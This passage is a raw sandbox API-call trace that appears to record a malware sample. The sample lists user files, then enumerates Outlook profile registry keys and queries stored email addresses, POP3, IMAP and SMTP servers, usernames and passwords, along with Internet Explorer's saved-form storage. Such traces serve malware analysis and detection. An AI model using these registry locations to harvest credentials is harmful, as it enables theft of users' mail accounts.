lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/CabPSqWIP4Gw.gif") returned 94 [0074.683] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/R03C.xlsx", cchWideChar=77, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/R03C.xlsxHALPmcxz/Documents/yiub/ZHL2s_-N8agn/R03C.xlsx", lpUsedDefaultChar=0x0) returned 77 [0074.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2322590, cbMultiByte=77, lpWideCharStr=0x3983e78, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/R03C.xlsx") returned 77 [0074.683] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/qWXQp5P.flv", cchWideChar=117, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/qWXQp5P.flv", lpUsedDefaultChar=0x0) returned 117 [0074.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3983f20, cbMultiByte=117, lpWideCharStr=0x3983f9c, cchWideChar=235 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/qWXQp5P.flv塷䂈Θ䂈Θά") returned 117 [0074.683] IUnknown:Release (This=0x69e900) returned 0x3 [0074.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984fd4, cbMultiByte=58, lpWideCharStr=0x18d5c8, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2\x1a") returned 58 [0074.687] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x1, phkResult=0x18e5c8 | out: phkResult=0x18e5c8*=0x0) returned 0x2 [0074.687] RegCloseKey (hKey=0x0) returned 0x6 [0074.688] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="05cb6f136411cf4daf1f74e966b0a7dc") returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x1, lpName=0x18de00, cchName=0x800 | out: lpName="0a0d020000000000c000000000000046") returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x2, lpName=0x18de00, cchName=0x800 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a") returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x3, lpName=0x18de00, cchName=0x800 | out: lpName="3517490d76624c419a828607e2a54604") returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x4, lpName=0x18de00, cchName=0x800 | out: lpName="4b62e5f8c092a64ea9b79fd559a5a15e") returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x5, lpName=0x18de00, cchName=0x800 | out: lpName="609a848a708f544697003a34105400ef") returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x6, lpName=0x18de00, cchName=0x800 | out: lpName="63cba20b08018a458b6edb5d87fb54da") returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x7, lpName=0x18de00, cchName=0x800 | out: lpName="828cd3a417cead4ab3a214070dce1c3d") returned 0x0 [0074.688] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x8, lpName=0x18de00, cchName=0x800 | out: lpName="8503020000000000c000000000000046") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x9, lpName=0x18de00, cchName=0x800 | out: lpName="88d17fec23cbdd4fb54ad1d34c0dce09") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xa, lpName=0x18de00, cchName=0x800 | out: lpName="9207f3e0a3b11019908b08002b2a56c2") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xb, lpName=0x18de00, cchName=0x800 | out: lpName="9375CFF0413111d3B88A00104B2A6676") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xc, lpName=0x18de00, cchName=0x800 | out: lpName="a533ec91a4f74549ac2130b6908c8aac") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xd, lpName=0x18de00, cchName=0x800 | out: lpName="b70c659765f94740b657fee657d05ab4") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xe, lpName=0x18de00, cchName=0x800 | out: lpName="cce6b8ce16bac4458e5e40e3530d6f1d") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0xf, lpName=0x18de00, cchName=0x800 | out: lpName="dd7f40a823cda64b92e9a96e9e46e406") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x10, lpName=0x18de00, cchName=0x800 | out: lpName="ddb0922fc50b8d42be5a821ede840761") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x11, lpName=0x18de00, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x12, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x13, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.689] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.689] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\05cb6f136411cf4daf1f74e966b0a7dc", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.689] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.689] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.690] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.690] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.690] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.690] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.690] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.690] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.690] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.690] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.690] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.690] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\4b62e5f8c092a64ea9b79fd559a5a15e", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.690] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.690] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.690] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\609a848a708f544697003a34105400ef", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.691] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.691] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.691] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\63cba20b08018a458b6edb5d87fb54da", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.691] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.691] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.691] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\828cd3a417cead4ab3a214070dce1c3d", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.691] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.691] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.691] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.691] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.691] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.691] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\88d17fec23cbdd4fb54ad1d34c0dce09", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.692] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.692] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.692] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.692] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0074.692] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.692] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0074.692] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000001") returned 0x0 [0074.692] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", phkResult=0x18e630 | out: phkResult=0x18e630*=0x3f8) returned 0x0 [0074.692] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x3fc) returned 0x0 [0074.692] RegQueryValueExW (in: hKey=0x3fc, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0074.692] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.693] RegCloseKey (hKey=0x3f8) returned 0x0 [0074.693] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x1, lpName=0x18de00, cchName=0x800 | out: lpName="00000002") returned 0x0 [0074.693] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", phkResult=0x18e630 | out: phkResult=0x18e630*=0x110) returned 0x0 [0074.693] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x404) returned 0x0 [0074.693] RegQueryValueExW (in: hKey=0x404, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0074.693] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.693] RegCloseKey (hKey=0x110) returned 0x0 [0074.694] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x2, lpName=0x18de00, cchName=0x800 | out: lpName="00000003") returned 0x0 [0074.694] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", phkResult=0x18e630 | out: phkResult=0x18e630*=0x3f8) returned 0x0 [0074.694] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x408) returned 0x0 [0074.694] RegQueryValueExW (in: hKey=0x408, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0x26) returned 0x0 [0074.694] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.694] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x40c) returned 0x0 [0074.694] RegQueryValueExW (in: hKey=0x40c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xa) returned 0x0 [0074.694] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.694] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x410) returned 0x0 [0074.695] RegQueryValueExW (in: hKey=0x410, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0x26) returned 0x0 [0074.695] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.695] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x414) returned 0x0 [0074.695] RegQueryValueExW (in: hKey=0x414, lpValueName="POP3 User", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xe) returned 0x0 [0074.695] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.695] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x418) returned 0x0 [0074.695] RegQueryValueExW (in: hKey=0x418, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xa) returned 0x0 [0074.695] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.695] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d538 | out: phkResult=0x18d538*=0x41c) returned 0x0 [0074.696] RegQueryValueExW (in: hKey=0x41c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x18d540, lpData=0x18d534, lpcbData=0x18d53c*=0x4 | out: lpType=0x18d540*=0x0, lpData=0x18d534*=0x0, lpcbData=0x18d53c*=0x4) returned 0x2 [0074.696] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.696] RegQueryValueExW (in: hKey=0x3f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x18e628, lpData=0x18d600, lpcbData=0x18e624*=0x400 | out: lpType=0x18e628*=0x0, lpData=0x18d600*=0x0, lpcbData=0x18e624*=0x400) returned 0x2 [0074.696] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="voeimd@djhreuu.uhd", cchWideChar=18, lpMultiByteStr=0x18c540, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd@djhreuu.uhdW", lpUsedDefaultChar=0x0) returned 18 [0074.696] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="voeimd", cchWideChar=6, lpMultiByteStr=0x18c538, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd\x18", lpUsedDefaultChar=0x0) returned 6 [0074.696] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x18d42d, cbMultiByte=1, lpWideCharStr=0x18c404, cchWideChar=2047 | out: lpWideCharStr="0\x18쓬\x18") returned 1 [0074.696] SysReAllocStringLen (in: pbstr=0x18d56c*=0x0, psz="0", len=0x1 | out: pbstr=0x18d56c*="0") returned 1 [0074.696] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x420) returned 0x0 [0074.696] RegQueryValueExW (in: hKey=0x420, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0074.696] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.696] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x424) returned 0x0 [0074.696] RegQueryValueExW (in: hKey=0x424, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xc) returned 0x0 [0074.696] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.697] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x428) returned 0x0 [0074.697] RegQueryValueExW (in: hKey=0x428, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0x26) returned 0x0 [0074.697] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.697] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x42c) returned 0x0 [0074.697] RegQueryValueExW (in: hKey=0x42c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0074.697] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.697] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x430) returned 0x0 [0074.697] RegQueryValueExW (in: hKey=0x430, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xc) returned 0x0 [0074.697] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.697] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d538 | out: phkResult=0x18d538*=0x434) returned 0x0 [0074.698] RegQueryValueExW (in: hKey=0x434, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x18d540, lpData=0x18d534, lpcbData=0x18d53c*=0x4 | out: lpType=0x18d540*=0x0, lpData=0x18d534*=0x0, lpcbData=0x18d53c*=0x4) returned 0x2 [0074.698] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.698] RegQueryValueExW (in: hKey=0x3f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x18e628, lpData=0x18d600, lpcbData=0x18e624*=0x400 | out: lpType=0x18e628*=0x0, lpData=0x18d600*=0x0, lpcbData=0x18e624*=0x400) returned 0x2 [0074.698] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="voeimd@djhreuu.uhd", cchWideChar=18, lpMultiByteStr=0x18c540, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd@djhreuu.uhdW", lpUsedDefaultChar=0x0) returned 18 [0074.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x18d42d, cbMultiByte=1, lpWideCharStr=0x18c404, cchWideChar=2047 | out: lpWideCharStr="0\x18\x15\x93\x01") returned 1 [0074.698] SysReAllocStringLen (in: pbstr=0x18d56c*="0", psz="0", len=0x1 | out: pbstr=0x18d56c*="0") returned 1 [0074.698] RegCloseKey (hKey=0x3f8) returned 0x0 [0074.698] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x3, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x0 [0074.698] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004", phkResult=0x18e630 | out: phkResult=0x18e630*=0x110) returned 0x0 [0074.698] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x438) returned 0x0 [0074.698] RegQueryValueExW (in: hKey=0x438, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0074.698] RegCloseKey (hKey=0x80000001) returned 0x0 [0074.699] RegCloseKey (hKey=0x110) returned 0x0 [0074.699] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x4, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0074.699] RegCloseKey (hKey=0x3f4) returned 0x0 [0074.699] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\a533ec91a4f74549ac2130b6908c8aac", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0074.699] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0074.699] RegCloseKey (hKey=0x110) returned 0x0 [0074.699] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\b70c659765f94740b657fee657d05ab4", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0074.699] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0074.699] RegCloseKey (hKey=0x110) returned 0x0 [0074.699] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\cce6b8ce16bac4458e5e40e3530d6f1d", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0074.699] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0074.699] RegCloseKey (hKey=0x110) returned 0x0 [0074.699] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\dd7f40a823cda64b92e9a96e9e46e406", phkResult=0x18e634 | out: 